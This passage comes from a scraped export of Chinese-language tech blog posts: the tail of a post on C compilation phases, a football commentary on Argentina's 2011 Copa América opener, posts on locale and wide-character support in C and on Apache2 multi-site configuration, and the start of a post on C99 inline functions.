0;\n}\n三字符序列发生在转义之前，所以printf(\u0026ldquo;hello??/n\u0026rdquo;);在字符串转义过程之前就先进行了三字符序列的替换(否则编译器会报错)，替换成了printf(\u0026ldquo;hello\\n\u0026rdquo;);后续在字符串常量转义字符时\\n才被当作了换行符处理。\n第二阶段：这个阶段比较简单，说白了就是去掉续行符，即所有相邻的\u0026rsquo;\\\u0026lsquo;和\u0026rsquo;\\n\u0026rsquo;的组合，将物理源代码的行拼接为逻辑源代码行。\n第三阶段：源文件被分解为预处理词法元素(tokens)和空白字符序列（包括注释）。源文件不应该以一个部分预处理词法元素或部分注释结束(例如一个注释不能一半在一个文件中，而另一半在接下来的文件中)。每条注释都被替换成一个空格字符。换行符保留。将非空空白字符序列(诸如空格、TAB键等，除了换行符）保留还是替换为一个空格字符则由编译器的实现决定\n这个阶段中预处理器开始执行了词法分析，删除不必要字符，转换字符，为后续处理营造一个干净的环境。\n第四阶段：预处理指示符被执行，宏调用被扩展，_Pragma一元操作符表达式被执行。对通用字符名(UCN)进行词法元素连接的行为是未定义的。预处理器从阶段1到阶段4递归地处理源文件中#include预处理指示符中的头文件或源文件。最后所有预处理指示符被删除。\n这个阶段预处理器是主力，其结果是我们得到了一个包含了诸多头文件内容的预处理后的编译单元文件，用作后续处理的输入。\n第五阶段：字符常量、字符串常量中的源字符集字符或转义字符序列都会被转换为相应的执行字符集中的字符；如果执行字符集中没有对应的字符（除了宽字符null），则转换成什么由编译器的实现确定。\n注意与第一阶段不同的是：这个是在foo.i的基础上，也就是说在GCC默认foo.i中的字符都是utf8的基础上，将代码中的字符常量以及字符串常量中的源字符集字符（默认utf8）转换为执行字符集(默认也是utf8)，包括通用字符名(UCN)。\n注意UCN也可以看成转义字符序列，在这个阶段被转换为执行字符集，如：\nchar *a = \u0026ldquo;\\u4e2d\\u56fd\u0026rdquo;; /* 两个ucn字符为\u0026rsquo;中国\u0026rsquo; */\n我们通过gcc -S得到源文件对应的.s汇编文件，从汇编文件内容可以看到a的内部表示为：\n.string \u0026ldquo;\\344\\270\\255\\345\\233\\275\u0026rdquo;\n即utf编码的\u0026rsquo;中国\u0026rsquo;。\n另外这里说的字符和字符串串常量，也包括宽字符和宽字符串，其转换为内部表示的过程也在这个阶段进行，例如下面代码：\nwchar w[] = L\u0026quot;中国\u0026quot;;\n该代码进行了一次utf8到宽字符内部表示（GCC为unicode32）的转换。\n第六阶段：将相邻两个字符串字面元素连接起来\n这个阶段用一个例子就能说明问题，很简单：\nchar *a = \u0026ldquo;hello\u0026rdquo;\n\u0026quot; world\u0026quot;;\n经过编译后，我们可以看到.s文件中关于a的定义：\n.string \u0026ldquo;hello world\u0026rdquo;\n这就相当于将\u0026quot;hello\u0026quot;和\u0026quot; world\u0026quot;连接起来，形成\u0026quot;hello world\u0026quot;。\n第七阶段：编译器执行词法分析、语法分析以及语义分析，生成该编译单元对应的目标代码(.o文件)。\n第八阶段：Resolve所有外部符号(包括变量和函数)，并将诸多编译单元的.o以及外部库连接成可执行程序。\n个人感觉编译阶段中的难点就是几个涉及字符集转换的阶段，如第一个阶段和第五个阶段，不过只要弄清楚编译器是如何做的，相信所有编译问题都可以被轻松解决了。\n","permalink":"https://tonybai.com/2011/07/04/also-talk-about-standard-compile-stage-of-c-compiler/","summary":"\u003cp\u003e了解C编译器的工作流程有助于C程序员解决编译代码过程中出现的问题。市面上凡是讲解得还算全面的\u003ca href=\"http://book.douban.com/doulist/549603/\"\u003eC语言书籍\u003c/a\u003e中都或多或少对此有所提及。\u003c/p\u003e\n\u003cp\u003e让我们在这里来回顾一下C编译器的工作流程！一般C编译器的工作流程大致分为：预编译、编译、生成目标代码（汇编）和连接这四个主要步骤。我们用实例具体描述一下这四个步骤，以最著名的GCC编译器结合helloworld.c文件为例:\u003c/p\u003e","title":"也谈C语言编译器的标准编译阶段"},{"content":"相信今天上午进行的2011美洲杯阿根廷队的首演又让广大阿根廷球迷\u0026quot;上火\u0026quot;了。同为阿根廷球迷，我和大家的心情是一样一样的。\n事实上我也只是看了下半场比赛。这里我还是要提醒那些尚未亲眼观看阿根廷的比赛的朋友们：你需要有一颗坚强的心，否则伤不起啊。一句话概括这场比赛：后防风声鹤唳、中场平庸无奇、前场单打独斗。这似乎是这几年来阿根廷队一贯所表现出来的风格。\n阿根廷球迷，真悲哀啊。我们遇到阿根廷足球一个低谷时期。阿根廷足球人才培养管理混乱，青黄不接，特别是中场人才和后卫人才严重短缺。最明显的表象就是阿根廷两大豪门的现状：河床降级，博卡挣扎。前年(2009)的南美解放者杯冠军拉普拉塔大学生队的中场核心居然还是年迈沧桑的贝隆，这与世界新王西班牙的人才辈出对比反差明显。在以上的大背景下，这场比赛的结果似乎也就不足为奇了。\n肯定有人反驳：我们有两届金球先生、世界第一人梅西啊，我们应该取得胜利才对。提到梅西，更让人痛苦。可怜梅西了。生不逢时啊，赶上了这么一个阿根廷队。综合阿根廷、梅西以及本场比赛，我这里抛出几个个人观点：\n(一) 梅西，仅是这支阿根廷队名义上的核心。\n世界上任何一只球队如果拥有了梅西，主教练都会让梅西作为进攻核心。巴蒂斯塔也不例外。赛前巴蒂斯塔就不止一次说过：梅西是阿根廷的进攻核心，其他人都应该适应梅西的提法。但通过这场比赛来看，梅西顶多算是一个名义上的核心：首先上半场顶在中锋位置的梅西很无奈，同伴根本无法创造出射门机会。还得梅西自己回中场给特维斯和拉维奇传好球。二是下半场回撤到中场组织的梅西，拿球的机会太少。你看看巴萨的比赛，哈维和小白传球的第一选择就是梅西。而反观阿根廷，似乎大家更愿意传球给特维斯那个”人民公仆“。三是即使梅西拿到了皮球，同伴也没有及时跑出空间，梅西无法传出好球(对比巴萨比赛中哈维、伊涅斯塔的传球和梅西的跑位就再清楚不过了)，同样也没有人上来与梅西呼应，巴萨的比赛中经常会看到梅西、哈维和小白三人在对方的前场快速倒脚，这样做一是不丢球，二是让对方防线随动，露出破绽，等待杀机。\n(二) 特维斯破坏阿根廷整体进攻节奏，抢了梅西的球权，与梅西在进攻区域无法共存\n2006年的世界杯让我们认识了特维斯，但也是那届世界杯让我对特维斯的印象就不是很好。特维斯在前场接到球后，太喜欢个人带球或个人射门了。本来一次很好的团队配合，到他这就嘎然而止了。而且结果不是球丢了，就是射门偏出好远。在与队友主动寻求配合方面，他与梅西比起来差了好远，也许这就是踢球文化不同导致的吧。在巴萨熏陶出来的与在曼城熏陶出来的就是不一样。有了特维斯在前场，似乎梅西就很郁闷，拿球的机会也变少了，射门机会更是少了很多，因为都被特维斯射光了。今天下半场似乎特维斯拿球次数比梅西还多出很多。该是巴蒂斯塔抉择的时候了，要么拿下特维斯，让阿根廷走的更远；要么留下特维斯，早早离开美洲杯。\n(三) 梅西需要改变，需要快速适应阿根廷的现状。\n如果说梅西更适合西班牙队，相信了解梅西的人都会点头同意。没错，梅西与特维斯等不同，梅西从小就在西班牙踢球，受到的是拉马西亚足球文化的熏陶。其对于阿根廷足球的理解并不深刻，对南美球员踢球风格了解的甚少。从今天场上的情况来看，南美球员，甚至玻利维亚这样非足球强国国家的队员，对梅西的防守都要比欧洲球员到位。梅西在欧洲成长，突破欧洲球员的防线早有心得，但是南美球员的防守风格还是让梅西吃了不少苦头。梅西需要及时做出改变。需要适应南美足球的风格，需要去主动适配队友。如果梅西还想着2014年的世界杯，那么就应该在这方面多花些心思。否则还不如干脆退出阿根廷国家队得了，因为看不到赢得希望，这样也避免总是担当输球替罪羊。\n其实作为阿根廷队的忠实球迷，我还是希望阿根廷能走到最后的。如果这里的”牢骚“能给阿根廷，能给梅西换来一座金光闪闪的美洲杯的话，那么我愿意再写上一万字。阿根廷的慢热也许未必不是一件好事，想想1998和2002的阿根廷，都是大热，结果死的很惨，而2010的西班牙却笑到了最后。中国有句俗话：先赢的是纸，后赢的才是钱。希望慢热的阿根廷后续能给我们带来惊喜。\n","permalink":"https://tonybai.com/2011/07/02/also-talk-about-the-first-match-of-agentina-on-2011-copa-america/","summary":"\u003cp\u003e相信今天上午进行的2011美洲杯阿根廷队的首演又让广大阿根廷球迷\u0026quot;上火\u0026quot;了。同为阿根廷球迷，我和大家的心情是一样一样的。\u003c/p\u003e\n\u003cp\u003e事实上我也只是看了下半场比赛。这里我还是要提醒那些尚未亲眼观看阿根廷的比赛的朋友们：你需要有一颗坚强的心，否则伤不起啊。一句话概括这场比赛：后防风声鹤唳、中场平庸无奇、前场单打独斗。这似乎是这几年来阿根廷队一贯所表现出来的风格。\u003c/p\u003e","title":"也谈阿根廷队2011美洲杯首演"},{"content":"C语言对国际化的支持由来已久，最初开始于其第一版标准，即C89标准。在C89中我们可以看到用于支持国际化的locale.h、宽字符、宽字符串以及多字节字符(串)。而之后的\u0026quot;C89增补1\u0026quot;标准，即C90标准，以及C95标准又进一步完善了C语言对国际化的支持，增加了wchar.h、 wctype.h以及大量用于操作宽字符(串)和多字节字符(串)的标准库函数。最新一版C语言标准，即C99，让C语言对国际化的支持变得更加成熟，对非英语字符集也给予了更好的支持。\nC语言支持国际化的核心就是大家所熟知的locale技术。C语言中的locale模型于C90标准中被引入。locale模型使得一些库函数的外部行为依赖于locale设置。这样的好处就是你无需重新编译代码，你发布的应用即可根据locale来满足不同区域人们的文化习惯。locale包含若干个类别，诸如LC_CTYPE、LC_COLLATE等，其中每个类别都会独立影响某些C函数的外部行为。比较常见的诸如日期时间显示方式、货币表示方式等。\n例如，LC_TIME影响strftime的外部行为，不同locale情况下strftime输出的结果会有不同，见下面示例：\nint main() {\ntime_t now;\nchar buf[1024];\nsetlocale(LC_ALL, \u0026ldquo;\u0026rdquo;); /* set locale to current locale, which is \u0026ldquo;zh_CN.GB18030\u0026rdquo; */\ntime(\u0026amp;now);\nstrftime(buf, sizeof(buf), \u0026ldquo;%a, %d %b %Y %H:%M:%S GMT\u0026rdquo;, localtime(\u0026amp;now));\nprintf(\u0026quot;%s\\n\u0026quot;, buf);\nsetlocale( LC_TIME, \u0026ldquo;en_US.UTF-8\u0026rdquo; );\nmemset(buf, 0, sizeof(buf));\nstrftime(buf, sizeof(buf), \u0026ldquo;%a, %d %b %Y %H:%M:%S GMT\u0026rdquo;, localtime(\u0026amp;now));\nprintf(\u0026quot;%s\\n\u0026quot;, buf);\n}\n这个程序在我的RedHat上输出的结果如下：\n五, 01 7月 2011 10:07:59 GMT\nFri, 01 Jul 2011 10:07:59 GMT\nlocale另外一个重要的作用就是对字符集转换的影响。曾几何时，ASCII字符集曾是计算机上通行的字符集标准，那时的程序员一般根本无需考虑字符集转换。ASCII的好处就是每个字符可以存储在一个字节(8bit)中，其内部表示(Internel Representation)和外部表示(External Representation)是一致的，这样一来，其存储和传输都非常方便。程序内部在内存中对ASCII字符（就是一个字节）的处理（识别字符、计算字符串中字符个数、解析字符串等）也十分简单快捷。不过随着国际化的日益深入，ASCII的缺点便暴露了出来，即其编码集太小了，即便将8个bit都算上，最多也就是256(2的8次方)个字符，这丝毫没有考虑到广大亚洲人民的需要，严重\u0026quot;伤害\u0026quot;了亚洲人民的情感^_^。于是乎亚洲各个国家和地区都纷纷\u0026quot;自己动手，丰衣足食\u0026quot;，制定了适合自己国家民族语言文字的字符集标准（当然了，其他大洲的国家也是这个样子的）。这些新字符集编码在满足本国语言需要的同时，也都兼容ASCII字符集，也就是说都是在ASCII字符集的基础上通过扩展字节个数达到支持更多字符的目的的。由于兼容ASCII，所以这些字符集中字符的表示都是非固定长度的，即在ASCII编码区间内的字符(即ASCII字符)用一个字节表示；超出这个区间，就会用2个或3个或更多的字节表示。这样的字符在C语言中被归类称为\u0026quot;多字节字符(multi-bytes character)\u0026quot;。\n多字节字符，有着与ASCII同样的优点，即它们是面向字节的，便于传输和存储。之前用于处理ASCII的字符设备（基于字节的）都可以对多字节字符给予很好的支持。不过多字节字符缺点也同样明显。\n首先就是程序内部（在内存中）处理起来十分不便。给定一个存储了某种字符集字符的字节数组，如果你没有对应的解析器，你是无法识别字符边界，无法识别出数组中究竟包含了哪些字符的，更不用说返回字符个数等操作了。针对这一问题，C语言引入宽字符的概念，宽字符集中的字符所占用的字节数是相同的，要么都是2 个字节，要么都是4个字节（3字节不利于计算机内存寻址优化），一般最大就是4个字节了，因为4个字节已经可以涵盖全球已知所有语言的所有字符了。在 GCC中，默认C语言宽字符类型，即wchar_t类型的长度为4。我们在内存中操作宽字符显然要比多字节字符更加容易：每个字符与N字节一一对应，这样对于统计字符个数、解析和识别字符大有裨益。因此在考量了多字节字符和宽字符的特点后，一般我们会使用宽字符作为字符在程序中的内部表示（用在各种内存操作中），而在存储、传输和显示过程中则使用多字节字符。再多罗嗦几句：宽字符为何不适于传输和存储呢？大致有以下三个原因：\n- 空间利用率不高，或者说比较浪费空间和带宽\n我想这个原因不用过多解释了。如果用4字节的宽字符存储一篇英文文章，那么与多字节字符相比，宽字符要浪费3/4的空间。\n- 字节序问题\n宽字符一般用2或4个字节表示，这样的字符在存储和传输过程中显然会遇到字节序问题，不同的平台采用不同的字节序，这样对于同一份以宽字符存储的数据来说，可能在不同的平台上得到不同的结果。\n- 与已有I/O设备兼容性差\n以往的设备都是面向字节设备的，处理ASCII字符以及由ASCII扩展而来的多字节字符问题不大。但对于由两个字节或四个字节组成的宽字符来说，显然有些力不从心了。\n其次由于各个国家和地区纷纷独立制定多字节字符标准，导致了不同字符集之间的不兼容。比如：GBK编码中\u0026quot;中\u0026quot;字的编码是D6D0，而BIG5中\u0026quot;中\u0026quot;的编码则是A4A4。这样一来，一些涉及文本处理的程序，比如文本编辑器，就需要花费大量的工作在了不同编码间的相互识别和解析上。这时一些组织站了出来，试图建立可以容纳全球所有语言字符的统一字符集，Unicode/ISO 10646（为方便期间，二者之间的一些差异这里就忽略不计了，以下统称Unicode）因此诞生。Unicode简单来说就是一组标量数字集合，其中每个数字映射地球上的一个唯一字符。以往大家对于Unicode的理解就是用2个字节(Unicode-16，UCS-2)或4个字节(Unicode- 32, UCS-4)进行编码的宽字符。实则不然，这些理解只是其一，因为最初使用2个字节（后来发现2个字节是严重不足的）或4个字节可以一一映射 Unicode字符集合，编码值就是Unicode字符对应的Unicode字符集表中的那个数字。但是用宽字符作为Unicode底层编码的实现方式显然也会遇到上面所说的各种问题；于是乎基于多字节编码的Unicode实现出现了，最著名的莫过于utf8了，当然还有utf16和utf32。没错，utf8字符是一种多字节字符，utf8与unicode表示字符个数的能力上是等同的。Unicode字符可以与utf8字符做一一对应的转换。和其它多字节编码方案一样，utf8也兼容ASCII编码，也是面向字节的，utf8可以完全替代各个国家地区自己制定的那些私有编码方案。事实上，目前 utf8已经是全球字符编码的事实标准（de facto standard）了。\n我们现在来实现这样一个程序：它可以在不同locale下输出foo.dat文件中的字符个数和字节个数，其中foo.dat文件中存储的数据的编码方式为locale指定的。我们有两个思路：\n1、假设我们拥有所有locale的字符解析库，我们可以将数据从文件中读取出来后，用当前locale对应的字符解析库对数据进行解析，得到字符的个数；\n2、利用locale技术，将文件中的数据读取后转换为宽字符，再计算宽字符的个数，即为foo.dat文件中字符的个数。\n我们粗略对比以下这两种思路，优劣立见。利用locale技术，你无需了解任何有关目标主机字符编码的细节，也无需自携带规模庞大的字符解析库，另外无需做任何修改即可支持新增的locale配置。下面就是一个利用locale技术进行字节/字符计数的例子（仅仅是个例子哦），这个程序可以在不同locale下输出foo.dat中的字符个数和字节个数：\n/* wc.c */\nint main(int argc, const char *argv[])\n{\nint bytes = 0;\nint words = 0;\nsetlocale(LC_ALL, \u0026ldquo;\u0026rdquo;);\nprintf(\u0026ldquo;Current locale is %s!\\n\u0026rdquo;, setlocale(LC_ALL, NULL));\nFILE *fp = NULL;\nfp = fopen(\u0026ldquo;foo.dat\u0026rdquo;, \u0026ldquo;rb\u0026rdquo;);\nif (!fp) {\nprintf(\u0026ldquo;failed to open foo.dat, err: %d\\n\u0026rdquo;, errno);\nreturn -1;\n}\nchar mbs_buf[1024];\nwchar_t wcs_buf[100];\nmbstate_t s;\nsize_t n;\nconst char *p;\nmemset(mbs_buf, 0, sizeof(mbs_buf));\nwhile (NULL != fgets(mbs_buf, 1024, fp)) {\nmemset(\u0026amp;s, 0, sizeof(s));\nmemset(wcs_buf, 0, sizeof(wcs_buf));\np = mbs_buf;\nn = mbsrtowcs(wcs_buf, \u0026amp;p, sizeof(wcs_buf), \u0026amp;s);\nif (n == -1) {\nprintf(\u0026ldquo;failed to convert multi-bytes character to wide character, err: %d\\n\u0026rdquo;, errno);\nreturn -1;\n} else {\nbytes += strlen(mbs_buf);\nwords += wcslen(wcs_buf);\n}\nmemset(mbs_buf, 0, sizeof(mbs_buf));\n}\nprintf(\u0026ldquo;bytes = %d\\n\u0026rdquo;, bytes);\nprintf(\u0026ldquo;words = %d\\n\u0026rdquo;, words);\nfclose(fp);\nreturn 0;\n}\n分别在具有两个不同locale的账户下制作foo.dat:\ncat \u0026gt; foo.dat\n中华人民共和国^D (输入Ctrl+D)\n在locale为gb18030下的测试结果是:\nCurrent locale is zh_CN.GB18030!\nbytes = 14\nwords = 7\n在locale为utf8下的测试结果是:\nCurrent locale is zh_CN.utf8!\nbytes = 21\nwords = 7\n在C语言中，除了显式调用库函数在宽字符和多字节字符之间转换外，C语言本身还有一些隐式的转换值得注意。\n首先就是宽字符的转换。如果你在源文件中用L\u0026quot;XXX\u0026quot;给一个wchar_t数组赋值，那么Gcc会默认将XXX看成是utf8编码的字符串。如果你的源文件确实是utf8编码的，那么类似wchar_t w[] = L\u0026quot;中国\u0026quot;则相当于编译器做了一次utf8到unicode-32的转换;但是如果你的源码文件不是utf8编码的，比如是gb18030的，那么编译器将提示错误：“converting to execution character set：无效或不完整的多字节字符或宽字符”。这时需要你通过Gcc命令选项显式指定源码字符集类型：-finput-charset=\u0026lsquo;gb18030\u0026rsquo;。\n其次利用%ls输出宽字符串时也需要注意隐式转换，看下面例子：\n/* widechar.c, 该文件采用utf8编码 */\nint main(int argc, const char *argv[])\n{\nwchar_t w[] = L\u0026quot;中国\u0026quot;;\nprintf(\u0026quot;%ls\\n\u0026quot;, w);\nreturn 0;\n}\n编译ok，但执行后发现无法输出“中国\u0026quot;二字。printf在%ls下支持输出宽字符串，但是也是需要显式指定locale的，否则当前LC_ALL就等于\u0026quot;C\u0026quot;，在\u0026quot;C\u0026quot;locale下printf显然无法将宽字符\u0026quot;中国\u0026quot;成功转换为utf8编码并输出。我们稍作修改：\n/* widechar.c, 该文件采用utf8编码 */\nint main(int argc, const char *argv[])\n{\nsetlocale(LC_ALL, \u0026ldquo;\u0026rdquo;);\nwchar_t w[] = L\u0026quot;中国\u0026quot;;\nprintf(\u0026quot;%ls\\n\u0026quot;, w);\nreturn 0;\n}\n通过setlocale(LC_ALL, \u0026ldquo;\u0026quot;)将locale指定为用户当前locale，这样我们就可以顺利见到\u0026quot;中国\u0026quot;字样了。printf做了一次宽字符到utf8的转换后，再将utf8字符串打印到控制台上，为我们所见。\n最后，C99支持在源码中使用通用字符名(Universal Character Name, UCN)来表示任何扩展字符集中的字符。利用\\U或\\u来指定一个Unicode字符，但是注意千万不要以为宽字符和\\U0000nnnn或\\unnnn是等价的。下面这么做是无法达到你的预期的：\nwchar_t w = \u0026lsquo;\\u4e2d\u0026rsquo;; /* 4e2d是\u0026quot;中\u0026quot;字的Unicode编码 */\n如果按我们的预期，w中的4个字节应该依次是0×00，0×00，0x4e和0x2d。但经过实际探测，我们得到的却是0×00、0xe4、0xb8和0xad，这恰恰是\u0026quot;中\u0026quot;的utf8编码。而且编译器还在这一行给出了警告：warning: multi-character character constant。这里也是一种隐式转换，使用UCN表示的Unicode字符将首先被按照执行字符集做转换后再作为右值，此时它就和一个多字节字符串无异，所以这里使用char mbs[] = \u0026ldquo;\\u4e2d\u0026quot;才是正确的。我们可以将\\u或\\U作为转义字符来看待，这样在真正的编译开始之前，当Compiler处理所有转义字符及字符串时，这些字符和字符串将被预先转换为执行字符集中对应的字符，正如\\u4e2d被转换为e4b8ad。\n","permalink":"https://tonybai.com/2011/07/01/also-talk-about-the-internationalization-support-in-c/","summary":"\u003cp\u003eC语言对国际化的支持由来已久，最初开始于其第一版标准，即C89标准。在C89中我们可以看到用于支持国际化的locale.h、宽字符、宽字符串以及多字节字符(串)。而之后的\u0026quot;C89增补1\u0026quot;标准，即C90标准，以及C95标准又进一步完善了C语言对国际化的支持，增加了wchar.h、 wctype.h以及大量用于操作宽字符(串)和多字节字符(串)的标准库函数。最新一版C语言标准，即\u003ca href=\"http://tonybai.com/2005/07/28/introduction-on-c-standard-overview-series/\"\u003eC99\u003c/a\u003e，让C语言对国际化的支持变得更加成熟，对非英语字符集也给予了更好的支持。\u003c/p\u003e","title":"也谈C语言对国际化的支持"},{"content":"部门虽然不是做Web开发的，但是部门内部很多服务器也是使用Apache作为Web Server的。不过一直一来我这边都是用一个Apache Server对应一套Web应用。不过今天有了新的要求：在一个已经部署了一套应用的Apache2上再部署另外一套应用。这也让我不得不深入了解一下Apache的配置。不过还好，过程还是顺利的，这里记下此文意在备忘，如果同时也能给大家带来一些有价值的参考那就再好不过了。\nUbuntu下安装好Apache2后(sudo apt-get install apache)，在任何配置都未做修改的初始情况下，我们看到的与虚拟站点有关的Apache2的初始配置如下：\nApache2主配置文件: /etc/apache2/apache2.conf。其最后两行为：\n# Include the virtual host configurations:\nInclude /etc/apache2/sites-enabled/\n显然/etc/apache2/sites-enabled下存放着有关虚拟站点（VirtualHost）的配置。经查看，初始情况下，该目录下包含一个符号连接：000-default -\u0026gt; ../sites-available/default\n这里又引出另外一个配置目录：/etcc/apache2/sites-available。这个目录下放置了所有可用站点的真正配置文件，对于Enabled的站点，Apache2在sites-enabled目录建立一个到sites-available目录下文件的符号链接。\n/etc/apache2/sites-available下有两个文件：default和default-ssl。000-default链接的文件为default，我们就以default为例，看看一个VirtualHost的配置是啥样的：\nServerAdmin webmaster@localhost\nDocumentRoot /var/www\nOptions FollowSymLinks\nAllowOverride None\nOptions Indexes FollowSymLinks MultiViews\nAllowOverride None\nOrder allow,deny\nallow from all\n… …\nDocumentRoot是这个站点的根目录，这样Apache2启动时会扫描/etc/apache2/sites-enabled中可用的website配置并加载。当用户访问localhost:80时，Apache2就将default站点根目录/var/www下的index.html作为请求的回应返回给浏览器，你就会欣赏到的就是/var/www/index.html这个文件中的内容了。\nApache2的默认站点我们不要去动它。我们新增站点配置来满足我们的要求。到这里我猜测一下你可能有两类需求：\n一是如何配置根据访问的域名区分配置不通的站点？\n二是在相同域名地址的情况下，如何通过访问不同的端口获得不同的站点？\n我们先来看看第一种需求。第一种需求讲的是我要在一个Apache2服务器上配置两个站点：site1.com和site2.com。好，我们可以按照下面步骤来做：\n* 建立配置文件\n在sites-available中建立两个站点的配置文件site1_com和site2_com：\nsudo cp default site1_com\nsudo cp default site2_com\n编辑这两个配置文件，以site1_com为例：\nServerAdmin webmaster@localhost\nServerName site1.com\nDocumentRoot /var/www/site1_com\nOptions FollowSymLinks\nAllowOverride None\nOptions Indexes FollowSymLinks MultiViews\nAllowOverride None\nOrder allow,deny\nallow from all\n… …\n注意上面配置中：ServerName、DocumentRoot和Directory是我们重点关注的配置点。site1的ServerName为site1.com，根目录为/var/www/site1_com，Directory同DocumentRoot。site2_com也做同样的改动。\n* 在sites-enabled目录下建立符号链接：\nsudo ln -s /etc/apache2/sites-available/site1_com /etc/apache2/sites-enabled/site1_com\nsudo ln -s /etc/apache2/sites-available/site2_com /etc/apache2/sites-enabled/site2_com\n* 在/var/www下建立site1_com和site2_com两个目录，然后修改目录所有者：\nsudo chown -R www-data site1_com site2_com/\n* 在site1_com和site2_com中各自创建一个index.html文件，用于测试使用。\n以site1_com下index.html为例，其内容为：Welcome To Site1。\n* 重启Apache2(sudo /init.d/apache2 restart)使配置生效。\n* 修改/etc/hosts文件，便于测试。\n添加如下两行：\n127.0.0.1 site1.com\n127.0.0.1 site2.com\n* 打开浏览器，输入http://site1.com，之后不出意外你就会看到”Welcome to Site1“字样。\n第二类需求是希望通过端口号来区分虚拟站点。这个也不难，一些配置方法与上面内容雷同，这里就不详说了。\n比如以site2为例：我通过80端口访问site2，可看到\u0026quot;Welcome to Site2”，从8080端口访问site2，则会看到\u0026quot;Welcome to Site2 through 8080\u0026quot;。我们如何配置呢？\n* 首先我们得让apache2监听端口8080\n修改/etc/apache2/ports.conf，增加两行：\nNameVirtualHost *:8080\nListen 8080\n* 在/etc/apache2/sites-available/下增加site2_com_8080，并在sites-enabled下建立符号连接。\nsite2_com_8080的主要配置如下：\nServerAdmin webmaster@localhost\nServerName site2.com\nDocumentRoot /var/www/site2_com_8080\nOptions FollowSymLinks\nAllowOverride None\nOptions Indexes FollowSymLinks MultiViews\nAllowOverride None\nOrder allow,deny\nallow from all\n… …\n在/var/www下建立site2_com_8080目录，方法同上。\n重启Apache2，访问http://site2.com:8080，我们将看到“Welcome to Site2 through 8080”。\n","permalink":"https://tonybai.com/2011/06/27/configure-multiple-websites-with-apache2/","summary":"\u003cp\u003e部门虽然不是做Web开发的，但是部门内部很多服务器也是使用Apache作为Web Server的。不过一直一来我这边都是用一个Apache Server对应一套Web应用。不过今天有了新的要求：在一个已经部署了一套应用的Apache2上再部署另外一套应用。这也让我不得不深入了解一下Apache的配置。不过还好，过程还是顺利的，这里记下此文意在备忘，如果同时也能给大家带来一些有价值的参考那就再好不过了。\u003c/p\u003e","title":"使用Apache2配置多个站点"},{"content":"有这样一段代码：\n/* foo.c */\n#include \u0026ldquo;stdio.h\u0026rdquo;\ninline void foo() {\nprintf(\u0026ldquo;inline foo in %s\\n\u0026rdquo;, __FILE__);\n}\nint main() {\nfoo();\nreturn 0;\n}\n我采用C99标准，并在不加任何优化选项的情况下编译之：\n$ gcc -std=c99 foo.c -o foo\nfoo.c: In function ‘foo’:\n/tmp/ccLGkuIK.o: In function `main\u0026rsquo;:\nfoo.c:(.text+0×7): undefined reference to `foo\u0026rsquo;\ncollect2: ld returned 1 exit status\n这样的结果出乎我的意料。我原以为用inline修饰的函数定义，如上面的foo函数，在编译器未开启内联优化时依旧可以作为外部函数定义被编译器使用。但通过上面gcc输出的错误信息来看，inline函数的定义并没有被看待为外部函数定义，这样链接器才无法找到foo这个符号。C99标准新增的inline似乎与我对inline语义的理解有所不同。\nC语言原本是不支持inline的，但C++中原生对inline的支持让很多C编译器也为C语言实现了一些支持inline语义的扩展。C99将inline正式放入到标准C语言中，并提供了inline关键字。和C++中的inline一样，C99的inline也是对编译器的一个提示，提示编译器尽量使用函数的内联定义，去除函数调用带来的开销。inline只有在开启编译器优化选项时才会生效。正如上面的例子，当我们打开优化选项并重新编译时，我们会看到：\n$ gcc -std=c99 foo.c -O2 -o foo\n$./foo\n$ inline foo in foo.c\n在-O2的优化选项下，编译器进行了内联优化，并采用了foo的inline定义。通过汇编代码我们也可以看出：foo.s中并没有显式地使用call进行函数调用，函数调用被优化掉了：\n/* foo.s : gcc -std=c99 foo.c -O2 -S */\n.file \u0026ldquo;foo.c\u0026rdquo;\n.section .rodata.str1.1,\u0026ldquo;aMS\u0026rdquo;,@progbits,1\n.LC0:\n.string \u0026ldquo;foo.c\u0026rdquo;\n.LC1:\n.string \u0026ldquo;inline foo in %s\\n\u0026rdquo;\n.text\n.p2align 4,,15\n.globl main\n.type main, @function\nmain:\npushl %ebp\nmovl %esp, %ebp\nandl $-16, %esp\nsubl $16, %esp\nmovl $.LC0, 8(%esp)\nmovl $.LC1, 4(%esp)\nmovl $1, (%esp)\ncall __printf_chk\nxorl %eax, %eax\nleave\nret\n.size main, .-main\n.ident \u0026ldquo;GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3\u0026rdquo;\n.section .note.GNU-stack,\u0026quot;\u0026quot;,@progbits\n我们在另外一个文件bar.c中提供一个foo的外部函数定义：\n/* bar.c */\n#include\nvoid foo() {\nprintf(\u0026ldquo;global foo in %s\\n\u0026rdquo;, __FILE__);\n}\n我们将foo.c和bar.c放在一起编译（未开启优化选项）：\n$ gcc -std=c99 foo.c bar.c -o foo\n$ ./foo\n$ global foo in bar.c\n链接器为foo.c中的符号foo选择了bar.c中的foo函数定义。这样看来我们甚至可以有两个同名（名字都是foo）的函数定义，只不过一个是inline定义，一个是外部定义，它们并不冲突。\n再开启优化选项，我们得到：\n$ gcc -std=c99 foo.c bar.c -o foo\n$ ./foo\n$ inline foo in foo.c\n这一次编译器选择了foo的inline定义。\n究其原因：foo.c和bar.c分处于两个不同的编译单元，在未开启内联优化的情况下，foo.c对应的目标文件foo.o中foo只是一个未定义的符号，而bar.o中的foo却是一个global符号，并对应一块独立的实现代码。链接器自然采用了bar.c中的foo函数定义。而在开启了内联优化的情况下，编译器在进行foo.o这个编译单元的编译期间就直接对foo进行了优化，并采用了foo的inline定义，直接放到了main函数的汇编代码中，没有显式地call foo，并且foo.o中并未为foo单独生成Global函数代码，这样在最后的链接阶段，bar.o就变成\u0026quot;打酱油\u0026quot;的了^_^。\n以上只是为了说明C99内inline语义而做的试验。在现实开发中，我们绝不应该这么去做。我们要确保函数的inline定义和非inline定义的语义一致性。那能否做到让一份函数定义既可以作为inline定义，也可以作为外部函数定义呢？这意味着我们在开启内联优化时，既要在inline函数定义的编译单元里执行内联优化，也要为inline函数生成一份独立的global的函数定义（汇编码）。\n我们增加一个头文件foo.h：\n/* foo.h */\nextern void foo();\n/* foo.c */\n#include\n#include \u0026ldquo;foo.h\u0026rdquo;\ninline void foo() {\nprintf(\u0026ldquo;foo in %s\\n\u0026rdquo;, __FILE__);\n}\nint main() {\nfoo();\nreturn 0;\n}\n我们在开启优化和未开启优化两种情况下分别编译执行：\n$ gcc -std=c99 foo.c -o foo\n$ ./foo\n$ foo in foo.c\n$ gcc -std=c99 foo.c -o foo -O2\n$ ./foo\n$ foo in 